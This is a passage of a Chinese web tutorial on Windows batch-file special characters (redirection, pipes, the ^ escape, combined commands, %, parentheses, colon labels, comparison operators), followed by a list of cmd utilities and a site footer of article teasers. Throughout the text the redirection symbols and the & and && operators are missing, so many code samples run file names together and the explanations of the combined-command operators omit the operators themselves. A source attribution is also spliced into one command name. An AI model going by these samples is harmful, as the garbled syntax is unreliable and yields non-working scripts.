     句柄2:标准错误stderr,输出到命令提示符窗口(console,代码为CON)
     其中的stdin可被重定向,stdout可被、重定向,而stderr在DOS下不可直接重定向,只有通过ctty或其它命令将系统控制权转交给其它设备的方式,来间接完成。
     注意:如果用在 set /a 语句中,则表示分组,表示逻辑移位。
Dos代码
@echo off
@rem echo 关闭命令显示,@关闭echo off本身的显示
rem ==============设置标题title=================
rem -使用该文件的名称作为标题
title 测试bat的文件(test.bat--重定向)
rem ===============重定向符=====================
rem 将当前文件的内容输出到指定的文件tb.txt而非控制台
type d:/test/bak/tt.txtd:/test/bak/tb.txt
rem 将特定的字符串"Hello China "(注意最后的空格)写入到指定的文件
echo Hello China d:/test/bak/tc.txt
rem ===============重定向符====================
echo hellod:/test/bak/td.txt
echo worldd:/test/bak/td.txt
rem ===============重定向符=====================
rem 重新设定当前时间
echo 2010-01-12d:/test/bak/te.txt
date d:/test/bak/te.txt
del d:/test/bak/te.txt
rem ===============重定向符=====================
rem 如果e盘存在则将其下面的文件信息输出到te.txt 否则将错误信息输出到err.txt
dir e:/ 1d:/test/bak/te.txt 2d:/test/bak/err.txt
@pause
    3.| 命令管道符
     管道命令,将|之前的命令的输出作为|之后的命令的输入。
     格式:第一条命令 | 第二条命令
Dos代码
@echo off
@rem echo 关闭命令显示,@关闭echo off本身的显示
rem ==============设置标题title=================
rem -使用该文件的名称作为标题
title 测试bat的文件(test.bat--管道命令)
rem =================管道命令|===================
rem 将显示tom001 tom002
rm d:/test/bak/t001.txt
echo tom001d:/test/bak/t001.txt
echo neil001d:/test/bak/t001.txt
echo tom002d:/test/bak/t001.txt
echo neil002d:/test/bak/t001.txt
echo jerryd:/test/bak/t001.txt
type d:/test/bak/t001.txt | find "tom"
@pause
     4.^ 转义字符
     对特殊符号"","",""的前导字符,在命令中他将以上3个符号的特殊功能去掉,仅仅把他们当成符号而不使用他们的特殊意义。
     另外,此转义字符还可以用作续行符号。
Dos代码
@echo off
@rem echo 关闭命令显示,@关闭echo off本身的显示
rem ==============设置标题title=================
rem -使用该文件的名称作为标题
title 测试bat的文件(test.bat--转义字符)
rem =================转义字符^==================
rem 用来转义 输出hello china d:/test/bat/t.txt
echo hello china ^ d:/test/bat/t.txt
rem 用来续行行 输出结果为 hellochinaluchunli
echo hello^
china^
luchunli
@pause
    5. 组合命令
   允许在一行中使用2个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
   语法:第一条命令 第二条命令
组合命令
    用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令
    语法:第一条命令 第二条命令
    这个命令和上边的类似,但区别是,第一个命令失败时,后边的命令也不会执行。
     || 组合命令
    用这种方法可以同时执行多条命令,当一条命令失败后才执行第二条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令。
    语法:第一条命令 || 第二条命令
     提示:组合命令和重定向命令一起使用必须注意优先级
管道命令的优先级高于重定向命令,重定向命令的优先级高于组合命令。
Dos代码
@echo off
@rem echo 关闭命令显示,@关闭echo off本身的显示
rem ==============设置标题title=================
rem -使用该文件的名称作为标题
title 测试bat的文件(test.bat--组合命令)
rem =================组合命令==================
dir d:/test/aa dir d:/test/all
rem k盘不存在 不影响命令执行
dir k:/ dir d:/test/all
rem =================组合命令=================
rem k盘不存在 程序无法再执行
dir k:/ dir d:/test/all
rem =================组合命令||=================
rem k盘不存在 执行错误 后面的dir才执行
dir k:/ || dir d:/test/all
rem ========结合使用组合命令和重定向命令========
dir c:/ dir d:/ d:/test/bak/t002.txt
rem 上述命令执行结果只有d盘下面的目录到t002.txt去了
rem c盘下面的目录并没有按照预想的输出,而是打印在了控制台上
rem 修改成为,分别进行输出
dir c:/ d:/test/bak/t003.txt dir d:/ d:/test/bak/t003.txt
@pause
   6."" 双引号
   双引号允许在字符串中包含空格。
  cd "program files"
  cd progra~1
  cd pro*
  以上三种方法都可以进入program files这个目录
     7., 逗号
     逗号相当于空格,在某些情况下","可以用来当做空格使。
   如:dir,c:/
     8.; 分号
     当命令相同时,可以将不同目标用";"来隔离,但执行效果不变,如执行过程中发生错误,则返回错误报告。
    如:dir c:/;d:/;e:/;f:/
Dos代码
@echo off
@rem echo 关闭命令显示,@关闭echo off本身的显示
rem ==============设置标题title=================
rem -使用该文件的名称作为标题
title 测试bat的文件(test.bat--分号)
rem ==============分号;=================
rem c d e f磁盘都存在,则正确执行,显示各磁盘下文件目录
dir c:/;d:/;e:/;f:/
echo ---------------------
rem z盘不存在则程序返回错误,对于d e f均不再执行
dir z:/;d:/;e:/;f:/
@pause
     9.% 批处理变量引导符
     表示参数,参数是指在运行批处理文件时在文件名后加的字符串。引用变量用%var%,调用程序外部参数用%1至%9等等。
      %0   %1   %2   %3   %4   %5   %6   %7   %8   %9   %*为命令行传递给批处理的参数
%0 批处理文件本身,包括完整的路径和扩展名
%1 第一个参数
%9 第九个参数
%* 从第一个参数开始的所有参数
参数%0具有特殊的功能,可以调用批处理自身,以达到批处理本身循环的目的,也可以复制文件自身等等。
  %%批处理变量引导符。
     set str=abc
     echo 变量 str 的值为%str%
     %也可以作为转义字符
   echo %% 输出一个%
   echo %%%% 输出两个%
Dos代码     
@echo off
@rem echo 关闭命令显示,@关闭echo off本身的显示
rem ==============设置标题title=================
rem -使用该文件的名称作为标题
title 测试bat的文件(test.bat--变量引导符)
rem ==============变量引导符%===================
rem %0 代表当前文件本身 输出路径名和文件名
echo %0  
rem 可以通过%0来拷贝自身(将当前文件的内容拷贝到tt.txt中去)
copy %0 d:/test/bak/tt.txt
rem 可以通过设置参数来接受输入的变量,但是不能有空格
rem 如:set param001 = %1则取不到任何结果,只能为set param001=%1
rem 批处理接受参数,如:test.bat tom is boy
set param001=%1
set param002=%2
set param003=%3
rem 输出 tom is boy
echo %param001% %param002% %param003%
rem %只能接受%1到%9九个参数,若参数多云9个则无法接受,需使用shift命令,见shift命令讲解
rem % 与 %%的用法
rem =两端不可有空格
set str=abc
echo str 的值是 %str%
rem 以下分别输出一个% 两个% 三个%
echo %%
echo %%%%
echo %%%%%%
echo hellod:/test/bak/t004.txt
echo chinad:/test/bak/t004.txt
echo howd:/test/bak/t004.txt
echo ared:/test/bak/t004.txt
echo youd:/test/bak/t004.txt
rem 依次输出hello china how are you
for /f %%i in (d:/test/bak/t004.txt) do echo %%i
rem 依次输出a b c
for %%i in (a b c) do echo %%i
@pause
     10.() 括号  小括号在批处理编程中有特殊的作用,左右括号必须成对使用,括号中可以包括多行命令,这些命令将被看成一个整体,视为一条命令行。
括号在for语句和if语句中常见,用来嵌套使用循环或条件语句,其实括号()也可以单独使用。
注意:这种多条命令被视为一条命令行时,如果其中有变量,就涉及到变量延迟的问题。
在for和if语句中属于语句格式的要求
例如:
 for %%i in (语句1) do(语句2)
    在这条语句中,语句1必须用括号对包围,而语句2的括号对则可视情况予以抛弃或保留:如果语句2是单条语句或用、、||等连接符号连接的多条语句,括号对可以抛弃,如果语句2是有逻辑先后关系的多条语句集合,则必须保留括号对,并且,多条语句必须断行书写。
    if 条件 (语句1) else (语句2)
    如果没有else部分,则语句1的括号对可有可无;如果有else部分,则语句1中的括号对必须保留,此时,语句2中的括号对保留与否,和上一点类似。
Dos代码
@echo off
@rem echo 关闭命令显示,@关闭echo off本身的显示
rem ==============设置标题title=================
rem -使用该文件的名称作为标题
title 测试bat的文件(test.bat--括号)
rem ==================括号()====================
rem 输出1 2 3 每个单独占一行
echo 1 echo 2 echo 3
echo --------------
(     
   echo 1
   echo 2
   echo 3
)
@pause
     11.! 感叹号
    在变量延迟问题中,用来表示变量,即%var%应该表示为!var!,见setlocal介绍。
    在set /a 一元运算符中表示逻辑非
     12.: 冒号
     任何以冒号:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容。
     有效标号:冒号后紧跟一个以字母数字开头的字符串,goto语句可以识别,表示该行是一个标签,它之后的内容是一个标签段。
     如:test,则表示:test之下的内容是标签段,而test是这个标签段的名,可以用 goto test 、goto :test 跳转 到该标签段或用call :test 调用该子过程。
     在 set 语句中:和~同时使用时,:起到截取字符串的功能。
   假设 set str=abcde,那么,set var=%str:~0,1% 表示截取字符串abcde的第一个字符;
     和=同时使用时,起到替换字符串的功能。
   假设:set str=abc:de,那么,set var=%str:a=1% 表示把字符串abc:de中的a替换为1
     无效标号:冒号后紧跟一个非字母数字的一个特殊符号,goto无法识别的标号,可以起到注释作用,所以 :: 常被用作注释符号,其实 :+ 也可起注释作用。
Dos代码     
@echo off
@rem echo 关闭命令显示,@关闭echo off本身的显示
rem ==============设置标题title=================
rem -使用该文件的名称作为标题
title 测试bat的文件(test.bat--冒号)
rem ===================冒号:====================
rem 作为标签段
set num=3
set count=4
set /a flag=num+1
:: 关于判断相等若不加goto end则程序执行有问题
if %count%==%flag% goto begin
goto end
:begin
   echo This is begin
:end
   echo This is end
rem 截取/替换字符
set str=luchunli
set var001=%str:~2,7%
rem 输出 chunli
echo %var001%
set var002=%str:u=r%
rem 输出 lrchrnli
echo %var002%
@pause
    13.:: 注释符号
     表示该行内容为注释内容。:: 是个无效的标签名,:加上空格同样可以起到注释的作用。
     ::的功能和注释命令rem相同。
     但是还有几点区别
   (1)::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态。
   (2)rem 注释语句中的某些命令符号如重定向符号和管道符号还是会执行,而如果用::来注释的时候,与::同处一行的所有命令或符号直接被命令解释器忽略掉,无形中提高了注释的兼容性和整个程序的执行效率,并且在众多的命令语句中更显得醒目,所以,注释语句推荐使用::的格式。   
   (3)rem 可以用于 config.sys 文件中。
Dos代码
rem ==============注释命令符号::=================
rem 以下两句都不会执行
rem ttd:/test/bak/t.txt
:: ttbd:/test/bak/t.txt
     14.~
     和冒号(:)一起使用时起到截取字符串的功能。
     在set /a语句中时,它是一元运算符,表示将操作数按位取反。
   例如,set /a num=~1的执行结果是-2,set /a num=~0的结果是-1
     用在for语句中,表示增强for的功能,能够提取到更多的信息。
   例如:在批处理文件的for语句中:%%~i表示去掉第一对外侧引号,%%~zi表示获取文件的大小(以字节为单位),%%~ni表示获取文件名,%%~xi表示获取扩展名(带点号)……它们可以组合使用,如%%~nxi表示获取文件名和后缀名。
     15.+ - * /
     在 set /a 语句中,这些符号的含义分别为:加、减、乘、除。例如:set /a num=1+2-3*4/5。
     需要注意的是,这些运算符号遵循数学运算中的优先级顺序:先乘除后加减,有括号的先算括号,并且,直接忽略小数点,因此,刚才那个算式的结果是1而不是0或0.6。
 另外,有可能会在代码中看到这样的写法:set /a num+=1、set /a num-=1、set /a num*=1 和 set /a num/=1,这些表示累加、累减、累乘、累除,步长都是1,展开后的完整写法为:set /a num=num+1、set /a num=num-1、set /a num=num*1 和 set /a num=num/1(set /a 语句中,变量引用可以忽略百分号对或感叹号对,set /a num=%num%+1 与 set /a num=num+1 等同)
     16.equ neq lss leq gtr geq
  命令符号         含义                 英文解释
  EQU                 等于                 equal
  NEQ                 不等于                 not equal
  LSS                 少于                 less than
  LEQ                 少于或等于          less than or equal
  GTR                 大于                  greater than
  GEQ                 大于或等于          greater than or equal
Dos代码
rem ==========equ neq lss leq gtr geq===========
set str001=tom     
set str002=tom
rem equ 输出equal
if %str001% equ %str002% echo equal
17.点(.)和双点(..)
      一个点代表当前目录;两个点代表上一级目录。
18.问号(?)
      匹配任意一个字符
      在路径中代表任意一个统配符
      紧跟在/之后表示获取帮助,如if /? 和 set /?

Win10 cmd命令大全是什么

cmd命令有很多,下面是一些基础的用的比较多的cmd命令:
winver---------检查Windows版本;
wmimgmt.msc----打开windows管理体系结构(WMI);
wupdmgr--------windows更新程序;
wscript--------windows脚本宿主设置;
write----------写字板;
winmsd---------系统信息;
wiaacmgr-------扫描仪和照相机向导。

下面是一些基础的用的比较少的cmd命令:

net stop messenger-----停止信使服务;
net start messenger----开始信使服务;
notepad--------打开记事本;
nslookup-------网络管理的工具向导;
ntbackup-------系统备份和还原;
narrator-------屏幕“讲述人”;
ntmsmgr.msc----移动存储管理器;
ntmsoprq.msc---移动存储管理员操作请求;
netstat -an----(TC)命令检查接口;
syncapp--------创建一个公文包;
sigverif-------文件签名验证程序;
sndrec32-------录音机;
shrpubw--------创建共享文件夹;
secpol.m转载自电脑十万个为什么;
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码;
services.msc---本地服务设置;
Sndvol32-------音量控制程序;
sfc.exe--------系统文件检查器;
sfc /scannow---windows文件保护。

关于windows批处理命令大全和什么是批处理 批处理命令大全介绍【详解】的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。

windows批处理命令大全(什么是批处理 批处理命令大全介绍【详解】)

本文编辑:admin

更多文章:


微信重登如何找回聊天信息(微信登入怎么找回聊天记录)

微信重登如何找回聊天信息(微信登入怎么找回聊天记录)

这篇文章给大家聊聊关于微信重登如何找回聊天信息,以及微信登入怎么找回聊天记录对应的知识点,希望对各位有所帮助,不要忘了收藏本站哦。

2026年10月10日 07:40

电子邮箱163注册官网(163免费邮箱注册官网)

电子邮箱163注册官网(163免费邮箱注册官网)

本篇文章给大家谈谈电子邮箱163注册官网,以及163免费邮箱注册官网对应的知识点,文章可能有点长,但是希望大家可以阅读完,增长自己的知识,最重要的是希望对各位有所帮助,可以解决了您的问题,不要忘了收藏本站喔。

2026年10月10日 07:30

cgi文件用什么打开(没有找到cgi_qqzone文件怎么办)

cgi文件用什么打开(没有找到cgi_qqzone文件怎么办)

大家好,cgi文件用什么打开相信很多的网友都不是很明白,包括没有找到cgi_qqzone文件怎么办也是一样,不过没有关系,接下来就来为大家分享关于cgi文件用什么打开和没有找到cgi_qqzone文件怎么办的一些知识点,大家可以关注收藏,免

2026年10月10日 07:20

惠普打印机驱动安装慢(惠普打印机m1136的驱动一直安装不上去是怎么回事)

惠普打印机驱动安装慢(惠普打印机m1136的驱动一直安装不上去是怎么回事)

本篇文章给大家谈谈惠普打印机驱动安装慢,以及惠普打印机m1136的驱动一直安装不上去是怎么回事对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。

2026年10月10日 05:30

格式刷怎么刷表格大小(word文档表格格式刷怎么使用)

格式刷怎么刷表格大小(word文档表格格式刷怎么使用)

本篇文章给大家谈谈格式刷怎么刷表格大小,以及word文档表格格式刷怎么使用对应的知识点,文章可能有点长,但是希望大家可以阅读完,增长自己的知识,最重要的是希望对各位有所帮助,可以解决了您的问题,不要忘了收藏本站喔。

2026年10月10日 04:50

手机号自带的邮箱是多少(手机号码的电子邮箱是多少)

手机号自带的邮箱是多少(手机号码的电子邮箱是多少)

大家好,今天小编来为大家解答以下的问题,关于手机号自带的邮箱是多少,手机号码的电子邮箱是多少这个很多人还不知道,现在让我们一起来看看吧!

2026年10月10日 04:20

系统重装按f几(戴尔笔记本重装系统按f几)

系统重装按f几(戴尔笔记本重装系统按f几)

其实系统重装按f几的问题并不复杂,但是又很多的朋友都不太了解戴尔笔记本重装系统按f几,因此呢,今天小编就来为大家分享系统重装按f几的一些知识,希望可以帮助到大家,下面我们一起来看看这个问题的分析吧!

2026年10月10日 04:00

微信在电脑上怎么下载(电脑版微信怎么下载)

微信在电脑上怎么下载(电脑版微信怎么下载)

这篇文章给大家聊聊关于微信在电脑上怎么下载,以及电脑版微信怎么下载对应的知识点,希望对各位有所帮助,不要忘了收藏本站哦。

2026年10月10日 03:50

怎么制作ppt文档(怎样制作ppt)

怎么制作ppt文档(怎样制作ppt)

这篇文章给大家聊聊关于怎么制作ppt文档,以及怎样制作ppt对应的知识点,希望对各位有所帮助,不要忘了收藏本站哦。

2026年10月10日 02:10

正版遨游中国2安卓手机版(遨游中国2带语音导航手机版安卓APK)

正版遨游中国2安卓手机版(遨游中国2带语音导航手机版安卓APK)

“正版遨游中国2安卓手机版”相关信息最新大全有哪些,这是大家都非常关心的,接下来就一起看看正版遨游中国2安卓手机版(遨游中国2带语音导航手机版安卓APK)!

2026年10月10日 01:40

最近更新

热门文章

标签列表